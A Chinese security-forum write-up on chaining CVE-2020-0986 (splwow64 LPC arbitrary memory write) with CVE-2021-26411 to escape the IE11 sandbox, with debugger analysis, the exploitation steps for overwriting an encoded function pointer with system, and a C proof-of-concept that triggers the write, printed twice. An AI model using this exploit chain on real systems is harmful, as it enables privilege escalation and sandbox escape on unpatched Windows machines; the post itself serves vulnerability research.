首页
社区
课程
招聘
[原创]利用CVE-2020-0986实现IE沙箱逃逸
发表于: 2021-7-5 17:29 13369

[原创]利用CVE-2020-0986实现IE沙箱逃逸

2021-7-5 17:29
13369

作者:Muoziiy@天玄安全实验室
原文链接:e8dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8W2)9#2k6X3S2&6K9X3#2C8K9p5c8Q4y4h3k6d9N6V1E0v1k6s2y4j5e0%4b7@1x3s2g2m8

这篇文章描述如何利用CVE-2020-0986实现IE沙箱逃逸。

本文不会给出完整的利用代码,只分享一些漏洞利用思路。

2021年4月30日,安恒威胁情报中心发布了一篇《深入分析 CVE-2021-26411 IE浏览器UAF漏洞》,里面详细分析了该漏洞的原理和利用过程,文章最后提到 "这种IE漏洞在IE11环境中需要配合一个提权漏洞才能实现代码执行,目前还未见到对这个漏洞配套使用的提权漏洞的披露",所以本人以研究学习为目的,通过参考 @iamelli0t师傅在2020看雪SDC的演讲内容 《逃逸IE浏览器沙箱:在野0Day漏洞利用复现 》,复现了CVE-2020-0986的提权EXP,并配合CVE-2021-26411实现了IE 11沙箱逃逸。

CVE-2021-26411已经在安恒的文章中已经做了详细描述,这里就不在介绍。

CVE-2020-0986是用户模式下打印机驱动主进程splwow64.exe存在任意指针取消引用漏洞,该漏洞允许使用任意参数在splwow64.exe进程空间内调用Memcpy函数,这实际上是在splwow64.exe进程空间内实现了一个任意地址写的原语。因为splwow64.exe是IE提权策略的白名单进程,所以可以利用IE的代码执行启动splwow64.exe进程,并通过发送特定LPC消息来操纵splwow64.exe进程内存,实现在splwow64.exe进程中执行任意代码并逃逸IE 11沙箱。

本次分析用到的POC来自google project zero

一个简单的LPC通信,有以下几个步骤:

在LPC通信过程中,如果报文较大,通信双方就会采用共享内存区的方式交换数据,但会通过报文进行协调同步。

LPC通信流程如下图所示(图片源自 @iamelli0t 师傅在看雪SDC的演讲PPT )

<img src="https://gitee.com/tianxuan-securitylab/source/raw/master/img/1623401452747.png" alt="1623401452747" style="zoom: 50%;" />

更多LPC相关内容,请自行查阅,本文不做详述。

目前已知的是通过NtRequestWaitReplyPort发送LPC消息到splwow64.exe进程后,由splwow64!TLPCMgr::ProcessRequest对LPC消息进行处理,所以对splwow64!TLPCMgr::ProcessRequest下断。

rdx=0000000000d7cac0 即为LpcRequest

1623812660207

IDA反汇编 TLPCMgr::ProcessRequest

1622713289115

windbg调试上图所示代码

上面的代码主要做了三件事,先判断LpcRequest.MessageHeader.DataSize是否为0x20,接着判断GDI32!GdiPrinterThunk函数指针是否存在,如果都存在,取LpcRequest.MsgSendLen的值0x88给EBX,然后调用splwow64!operator new 在splwow64.exe进程空间内分配了一块0x88大小的内存空间,接下来我们称这块空间为InputBuffer。

继续看IDA的反汇编代码

1622719910927

首先进行了复制操作,从LPC通信使用的共享内存复制数据到InPutBuffer中,然后取出LpcRequest.PtrMsgReply 的值给v9,接着取出LpcRequest.MsgReplyLen的值给v10,最后取出 LpcRequest.MessageHeader.MessageType的值给 v11。接下来判断v11、v12的值,这里对v11、v12值的判断结果会影响程序流程是否进入存在漏洞的函数。因为v11和v12的值都是从LpcRequest中得到的,所以我们可以通过控制LpcRequest,让程序按照我们预期的流程走,也就是进入gdi32!GdiPrinterThunk函数,在gdi32!GdiPrinterThunk中又调了gdi32full!GdiPrinterThunk函数。

windbg调试上面这块代码

rcx、rdx、r8、r9分别为memcpy_s的四个参数,rcx指向InputBuffer,rdx和r9为size。

r8指向用于LPC通信的共享内存

1622721609328

复制到InputBuffer的数据

接着给v9,v10,v11赋值

经过一系列的判断后,程序最终进入了gdi32full!GdiPrinterThunk,且传入的三个参数为:InputBuffer、PtrMsgReply和MsgReplyLen。

进入gdi32full!GdiPrinterThunk函数后,先获取索引值,因为不同的索引值,会被不同的函数处理。索引值为位于InputBuffer+0x4处的DWORD。

1623379603013

下面是我们期望进入的处理函数,可以看出,当Fun_Index为0x6D,就可以进入我们期望的代码块。

1623380313615

在进入触发漏洞的代码Memcpy前,还要经过4个if判断和一个Decode函数。

1623380851289

这4个if判断的值,都可以被我们直接或间接控制,所以程序最终会来到漏洞函数Memcpy,且三个参数:目的地址、源地址、大小都可以被我们控制,所以这里实现了一个在splwow64进程空间内的 Write What Where Primitive 。Decode函数的作用是对Encode的DocumentEvent指针进行解码,也就是对fpDocumentEvent指针进行解码,从而得到真实的函数指针。

通过上面对POC的分析,我们得到了如下信息。

参考卡巴斯基的分析文章,我们知道fpDocumentEvent函数指针是被编码过的值,且每一次编码得到的值都不同,这取决于当前的Cookie值。

在splwow64.exe中,每一次执行DocumentEvent时,都先将fpDocumentEvent进行解码,从而得到原始的DocumentEvent函数指针,然后再进行调用,而fpDocumentEvent位于splwow64.exe进程的.data 段,也就是说fpDocumentEvent指针的偏移是确定的。

同时我们知道一个事实, Windows 系统上的地址空间布局随机化是基于引导的 ,也就说当系统启动后,系统DLL的基址就不会改变,直到下次重启系统,所以在EXP中通过手动加载gdi32full.dll,就可以知道当前fpDocumentEvent指针的实际地址。

那么漏洞利用的思路就是,利用任意地址写的原语,将我们想要调用的函数指针,例如system函数指针,替换fpDocumentEvent函数指针,因为DocumentEvent函数在特定索引值的情况下,每次都会被调用,所以当我们替换成功后,实际调用的函数即为system。

漏洞利用简述步骤:

在调试环境下,确定fpDocumentEvent函数指针偏移,这里称为fpDocOffset。

在漏洞利用程序中,手动加载gdi32full.dll和winspool.drv,分别获得gdi32full.dll的BaseAddress和DocumentEvent函数指针。

发送LPC消息到splwow64.exe,获得BaseAddress+fpDocOffset地址处的fpDocumentEvent函数指针。

目前我们已经得到了fpDocumentEvent函数指针和DocumentEvent函数指针,也就是编码前后的函数指针,所以我们可以计算出编码所用的Cookie值,计算公式如下。(源自 @iamelli0t 师傅在看雪SDC的演讲PPT )

通过第四步得到的Cookie值,编码system函数指针,这里我们称编码后的值为fpSystem,编码公式如下。(源自卡巴斯基博客 )

继续发送LPC消息,通过共享内存,将fpSystem函数指针填充到BaseAddress+fpDocOffset地址处。

最后再发送一次特定索引值的LPC消息,同时在LPC消息中包含system函数的参数。

下面我们通过调试看看具体的流程

从splwow64.exe进程空间获取fpDocumentEvent函数指针到共享内存

将编码后fpSystem填充到BaseAddress+fpDocOffset地址处。

最后再发送一次LPC消息,同时在LPC消息中包含system函数的参数,实现漏洞利用

1623661001087

至此,我们已经完成的CVE-2020-0986的提权EXP编写。

参考 @iamelli0t师傅在看雪SDC的演讲,IE漏洞和提权漏洞结合流程如下:

1623840877615

如上图所示,CVE-2021-26411配合CVE-2020-0986实现了沙箱逃逸,拿到Medium Integrity权限的shell。

CVE-2021-26411的EXP中使用Windows RPC的方式绕过CFG,这种手法较为新颖,简单使用, @iamelli0t师傅在他的博客中也提到 “有理由相信,它将成为绕过 CFG 缓解的一种新的有效利用技术 ”。

CVE-2021-26411的EXP利用Windows RPC方式绕过CFG流程如下:

本人研究完 CVE-2021-26411的EXP后发现此EXP中使用的RPC手法是通用的,也就是说,在其他漏洞中只要能构造出任意地址读写原语,那一般都可以直接复用此RPC手法实现bypass CFG,一番研究后,本人在CVE-2020-17053上实现了此RPC手法bypass CFG,这里就不再展示。

[1] 7e2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9K6c8W2)9#2k6W2)9#2k6X3u0A6P5W2)9K6c8p5#2*7d9e0q4y4c8q4f1#2e0X3A6k6N6@1&6Y4i4K6y4p5i4K6y4p5i4K6t1$3j5h3#2H3i4K6y4n7L8h3W2V1i4K6y4p5x3U0t1@1y4K6b7^5z5e0b7&6x3#2)9J5y4X3q4E0M7q4)9K6b7X3W2V1P5q4)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0K6L8W2)9K6c8o6p5@1y4U0M7J5x3r3t1&6j5h3p5J5j5K6g2V1y4h3t1%4y4e0j5%4z5h3f1I4y4U0V1I4j5$3k6W2x3U0x3I4i4K6t1$3j5h3#2H3i4K6y4n7j5$3S2C8M7$3#2Q4x3@1c8W2z5h3k6W2z5r3p5@1y4r3c8W2z5o6V1H3x3K6f1J5j5U0V1I4y4U0V1$3j5$3j5#2y4$3t1K6x3r3x3^5x3K6j5H3k6U0y4S2j5U0t1K6x3o6k6S2k6e0u0W2y4K6M7&6j5e0g2T1k6o6t1K6x3U0g2W2k6U0b7H3x3h3b7@1j5h3q4W2y4e0x3@1z5h3g2X3j5K6V1K6i4K6t1$3j5h3#2H3i4K6y4n7M7$3y4W2L8X3g2Q4x3@1b7I4y4K6S2Q4x3U0k6S2L8i4m8Q4x3@1u0U0N6i4u0Q4y4h3k6S2L8r3u0#2L8g2)9#2k6X3W2V1i4K6y4p5x3e0M7&6x3K6p5H3y4e0V1%4x3o6M7K6x3o6V1%4y4e0t1K6y4g2)9J5x3%4u0V1

[2] https://zhuanlan.kanxue.com/article-14133.htm

[3] 761K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4L8$3!0Y4L8r3g2H3M7X3!0B7k6h3y4@1P5X3g2J5L8#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3x3r3c8S2P5i4y4Q4x3X3c8A6L8W2)9J5k6s2c8Z5k6g2)9J5k6s2N6A6L8r3c8Q4x3V1j5H3k6r3q4&6i4K6u0V1f1V1y4m8M7#2)9J5c8U0t1H3x3U0m8Q4x3V1k6o6g2V1g2Q4x3X3b7J5x3o6t1H3i4K6u0V1x3o6V1^5y4W2)9J5k6h3S2@1L8h3H3`.

[4] a45K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9K6c8W2)9#2k6W2)9#2k6X3u0A6P5W2)9K6c8p5#2*7d9e0q4y4c8q4f1#2e0X3A6k6N6@1&6Y4i4K6y4p5i4K6y4p5i4K6t1$3j5h3#2H3i4K6y4n7L8h3W2V1i4K6y4p5x3U0t1@1y4K6b7^5z5e0b7&6x3#2)9J5y4X3q4E0M7q4)9K6b7X3W2V1P5q4)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0K6L8W2)9K6c8o6p5@1y4U0M7J5x3r3t1&6j5h3p5J5j5K6g2V1y4h3t1%4y4e0j5%4z5h3f1I4y4U0V1I4j5$3k6W2x3U0x3I4i4K6t1$3j5h3#2H3i4K6y4n7j5$3S2C8M7$3#2Q4x3@1c8W2z5h3k6W2z5r3p5@1y4r3c8W2z5o6V1H3x3K6f1J5j5U0V1I4y4U0V1$3j5$3j5#2y4$3t1K6x3r3x3^5x3K6j5H3k6U0y4S2j5U0t1K6x3o6k6S2k6e0u0W2y4K6M7&6j5e0g2T1k6o6t1K6x3U0g2W2k6U0b7H3x3h3b7@1j5h3q4W2y4e0x3@1z5h3g2X3j5K6V1K6i4K6t1$3j5h3#2H3i4K6y4n7M7$3y4W2L8X3g2Q4x3@1b7I4y4K6S2Q4x3U0k6S2L8i4m8Q4x3@1u0U0N6i4u0Q4y4h3k6S2L8r3u0#2L8g2)9#2k6X3W2V1i4K6y4p5x3e0M7&6x3K6p5H3y4e0V1%4x3o6M7K6x3o6V1%4y4e0t1K6y4g2)9J5x3%4u0V1

[5] b5aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6k6h3y4#2M7X3g2D9K9i4y4@1i4K6u0W2j5$3!0E0i4K6u0r3L8%4m8W2M7X3q4@1K9h3!0F1i4K6u0V1M7r3!0%4k6i4u0X3j5h3I4D9i4K6u0V1j5%4k6W2i4K6u0V1x3U0l9J5x3q4)9J5k6o6l9&6z5o6k6Q4x3X3c8S2L8X3c8Q4x3X3c8$3j5i4u0A6j5h3&6@1M7#2)9J5c8U0V1^5x3K6t1&6i4K6u0r3

[6] 715K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2L8X3E0A6i4K6u0W2j5$3!0Q4x3X3g2C8M7W2)9J5c8X3u0D9L8$3N6Q4x3V1j5J5x3o6t1I4i4K6u0r3x3o6u0Q4x3V1j5H3y4q4)9J5c8X3W2W2i4K6g2X3x3r3c8S2P5g2)9J5k6h3S2@1L8h3H3`.

[7] ccfK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6j5h3#2W2L8r3I4A6x3s2c8Q4x3X3g2Y4K9i4c8Z5N6h3u0Q4x3X3g2A6L8#2)9J5c8U0t1H3x3U0q4Q4x3V1j5H3y4q4)9J5c8U0p5H3i4K6u0r3f1W2m8o6i4K6u0V1b7Y4W2H3j5i4y4K6i4K6u0V1b7@1k6s2i4K6u0W2K9s2c8E0L8l9`.`.

[8] 16bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1P5i4c8W2M7X3q4H3N6r3!0J5M7#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3N6$3W2F1k6r3!0%4M7#2)9J5c8X3g2^5M7r3I4G2K9i4c8S2N6r3W2G2L8W2)9J5c8U0t1H3x3U0m8Q4x3V1j5H3y4g2)9J5c8U0t1@1i4K6u0r3M7$3q4F1k6r3u0G2P5r3g2K6j5$3q4H3k6g2)9J5k6h3S2@1L8h3H3`.

 
 
 
#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";
 
typedef struct _PORT_VIEW
{
        UINT64 Length;
        HANDLE SectionHandle;
        UINT64 SectionOffset;
        UINT64 ViewSize;
        UCHAR* ViewBase;
        UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;
 
PORT_VIEW ClientView;
 
typedef struct _PORT_MESSAGE_HEADER {
        USHORT DataSize;
        USHORT MessageSize;
        USHORT MessageType;
        USHORT VirtualRangesOffset;
        CLIENT_ID ClientId;
        UINT64 MessageId;
        UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
 
typedef struct _PORT_MESSAGE {
        PORT_MESSAGE_HEADER MessageHeader;
        UINT64 MsgSendLen;
        UINT64 PtrMsgSend;
        UINT64 MsgReplyLen;
        UINT64 PtrMsgReply;
        UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;
 
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
 
NTSTATUS(NTAPI* NtOpenProcessToken)(
        _In_ HANDLE ProcessHandle,
        _In_ ACCESS_MASK DesiredAccess,
        _Out_ PHANDLE TokenHandle
        );
 
NTSTATUS(NTAPI* ZwQueryInformationToken)(
        _In_ HANDLE TokenHandle,
        _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
        _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
        _In_ ULONG TokenInformationLength,
        _Out_ PULONG ReturnLength
        );
 
NTSTATUS(NTAPI* NtCreateSection)(
        PHANDLE            SectionHandle,
        ACCESS_MASK        DesiredAccess,
        POBJECT_ATTRIBUTES ObjectAttributes,
        PLARGE_INTEGER     MaximumSize,
        ULONG              SectionPageProtection,
        ULONG              AllocationAttributes,
        HANDLE             FileHandle
        );
 
NTSTATUS(NTAPI* ZwSecureConnectPort)(
        _Out_ PHANDLE PortHandle,
        _In_ PUNICODE_STRING PortName,
        _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
        _Inout_opt_ PPORT_VIEW ClientView,
        _In_opt_ PSID Sid,
        _Inout_opt_ PVOID ServerView,
        _Out_opt_ PULONG MaxMessageLength,
        _Inout_opt_ PVOID ConnectionInformation,
        _Inout_opt_ PULONG ConnectionInformationLength
        );
 
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
        IN HANDLE PortHandle,
        IN PPORT_MESSAGE LpcRequest,
        OUT PPORT_MESSAGE LpcReply
        );
 
 
int Init()
{
        HMODULE ntdll = GetModuleHandleA("ntdll");
 
        NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
        if (NtOpenProcessToken == NULL)
        {
                return 0;
        }
 
        ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
        if (ZwQueryInformationToken == NULL)
        {
                return 0;
        }
 
        NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
        if (NtCreateSection == NULL)
        {
                return 0;
        }
 
        ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
        if (ZwSecureConnectPort == NULL)
        {
                return 0;
        }
 
        NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
        if (NtRequestWaitReplyPort == NULL)
        {
                return 0;
        }
 
        return 1;
}
 
int GetPortName(PUNICODE_STRING DestinationString)
{
        void* tokenHandle;
        DWORD sessionId;
        ULONG length;
 
        int tokenInformation[16];
        WCHAR dst[256];
 
        memset(tokenInformation, 0, sizeof(tokenInformation));
        ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
 
        memset(dst, 0, sizeof(dst));
 
        if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
                || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
        {
                return 0;
        }
 
        wsprintfW(
                dst,
                L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
                sessionId,
                tokenInformation[2],
                tokenInformation[3],
                0x2000);
        printf("name: %ls\n", dst);
        RtlInitUnicodeString(DestinationString, dst);
 
        return 1;
}
 
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
        HANDLE sectionHandle = 0;
        HANDLE portHandle = 0;
        union _LARGE_INTEGER maximumSize;
        maximumSize.QuadPart = 0x20000;
 
        if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
                return 0;
        }
        if (sectionHandle)
        {
                ClientView.SectionHandle = sectionHandle;
                ClientView.Length = 0x30;
                ClientView.ViewSize = 0x9000;
                int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
                if(retval){
                        return 0;
                }
        }
 
        return portHandle;
}
 
PVOID PrepareMessage()
{
        memset(&LpcRequest, 0, sizeof(LpcRequest));
        LpcRequest.MessageHeader.DataSize = 0x20;
        LpcRequest.MessageHeader.MessageSize = 0x48;
 
        LpcRequest.MsgSendLen = 0x88;
        LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
        LpcRequest.MsgReplyLen = 0x10;
        LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
 
        memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
 
        *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
        *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 4) = 0x500000005// 2nd arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent
        *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
        *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy
        *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
        *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
        *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
        *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
        *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;
        return ClientView.ViewBase;
}
 
void DebugWrite()
{
        printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
}
 
bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
{
        *((UINT64*)ClientView.ViewBase + 0xB) = offset;
        *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;
        memcpy(ClientView.ViewBase + 0x810, buf, size);
 
        DebugWrite();
 
        return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;
 
}
 
int main()
{
 
        Init();
        CHAR Path[0x100];
        GetCurrentDirectoryA(sizeof(Path), Path);
        PathAppendA(Path, "CreateDC.exe");
        if (!(PathFileExistsA(Path)))
        {
                return 0;
        }
        WinExec(Path, 0);
 
        CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
 
        UNICODE_STRING portName;
        if (!GetPortName(&portName))
        {
                return 0;
        }
 
        HANDLE portHandle = CreatePortSharedBuffer(&portName);
        if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
        {
                return 0;
        }
 
        PrepareMessage();
 
        printf("Press [Enter] to continue . . .");
        fflush(stdout);
        getchar();
        UINT64 value = 0;
        if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
        {
                return 0;
        }
 
        printf("Done\n");
 
        return 0;
}
#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";
 
typedef struct _PORT_VIEW
{
        UINT64 Length;
        HANDLE SectionHandle;
        UINT64 SectionOffset;
        UINT64 ViewSize;
        UCHAR* ViewBase;
        UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;
 
PORT_VIEW ClientView;
 
typedef struct _PORT_MESSAGE_HEADER {
        USHORT DataSize;
        USHORT MessageSize;
        USHORT MessageType;
        USHORT VirtualRangesOffset;
        CLIENT_ID ClientId;
        UINT64 MessageId;
        UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
 
typedef struct _PORT_MESSAGE {
        PORT_MESSAGE_HEADER MessageHeader;
        UINT64 MsgSendLen;
        UINT64 PtrMsgSend;
        UINT64 MsgReplyLen;
        UINT64 PtrMsgReply;
        UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;
 
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
 
NTSTATUS(NTAPI* NtOpenProcessToken)(
        _In_ HANDLE ProcessHandle,
        _In_ ACCESS_MASK DesiredAccess,
        _Out_ PHANDLE TokenHandle
        );
 
NTSTATUS(NTAPI* ZwQueryInformationToken)(
        _In_ HANDLE TokenHandle,
        _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
        _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
        _In_ ULONG TokenInformationLength,
        _Out_ PULONG ReturnLength
        );
 
NTSTATUS(NTAPI* NtCreateSection)(
        PHANDLE            SectionHandle,
        ACCESS_MASK        DesiredAccess,
        POBJECT_ATTRIBUTES ObjectAttributes,
        PLARGE_INTEGER     MaximumSize,
        ULONG              SectionPageProtection,
        ULONG              AllocationAttributes,
        HANDLE             FileHandle
        );
 
NTSTATUS(NTAPI* ZwSecureConnectPort)(
        _Out_ PHANDLE PortHandle,
        _In_ PUNICODE_STRING PortName,
        _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
        _Inout_opt_ PPORT_VIEW ClientView,
        _In_opt_ PSID Sid,
        _Inout_opt_ PVOID ServerView,
        _Out_opt_ PULONG MaxMessageLength,
        _Inout_opt_ PVOID ConnectionInformation,
        _Inout_opt_ PULONG ConnectionInformationLength
        );
 
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
        IN HANDLE PortHandle,
        IN PPORT_MESSAGE LpcRequest,
        OUT PPORT_MESSAGE LpcReply
        );
 
 
int Init()
{
        HMODULE ntdll = GetModuleHandleA("ntdll");
 
        NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
        if (NtOpenProcessToken == NULL)
        {
                return 0;
        }
 
        ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
        if (ZwQueryInformationToken == NULL)
        {
                return 0;
        }
 
        NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
        if (NtCreateSection == NULL)
        {
                return 0;
        }
 
        ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
        if (ZwSecureConnectPort == NULL)
        {
                return 0;
        }
 
        NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
        if (NtRequestWaitReplyPort == NULL)
        {
                return 0;
        }
 
        return 1;
}
 
int GetPortName(PUNICODE_STRING DestinationString)
{
        void* tokenHandle;
        DWORD sessionId;
        ULONG length;
 
        int tokenInformation[16];
        WCHAR dst[256];
 
        memset(tokenInformation, 0, sizeof(tokenInformation));
        ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
 
        memset(dst, 0, sizeof(dst));
 
        if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
                || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
        {
                return 0;
        }
 
        wsprintfW(
                dst,
                L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
                sessionId,
                tokenInformation[2],
                tokenInformation[3],
                0x2000);
        printf("name: %ls\n", dst);
        RtlInitUnicodeString(DestinationString, dst);
 
        return 1;
}
 
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
        HANDLE sectionHandle = 0;
        HANDLE portHandle = 0;
        union _LARGE_INTEGER maximumSize;
        maximumSize.QuadPart = 0x20000;
 
        if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
                return 0;
        }
        if (sectionHandle)
        {
                ClientView.SectionHandle = sectionHandle;
                ClientView.Length = 0x30;
                ClientView.ViewSize = 0x9000;
                int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
                if(retval){
                        return 0;
                }
        }
 
        return portHandle;
}
 
PVOID PrepareMessage()
{
        memset(&LpcRequest, 0, sizeof(LpcRequest));
        LpcRequest.MessageHeader.DataSize = 0x20;
        LpcRequest.MessageHeader.MessageSize = 0x48;
 
        LpcRequest.MsgSendLen = 0x88;
        LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
        LpcRequest.MsgReplyLen = 0x10;
        LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
 
        memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
 
        *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
        *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 4) = 0x500000005// 2nd arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent
        *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
        *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy
        *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
        *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
        *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
        *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
        *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;
        return ClientView.ViewBase;
}
 
void DebugWrite()
{
        printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
}
 
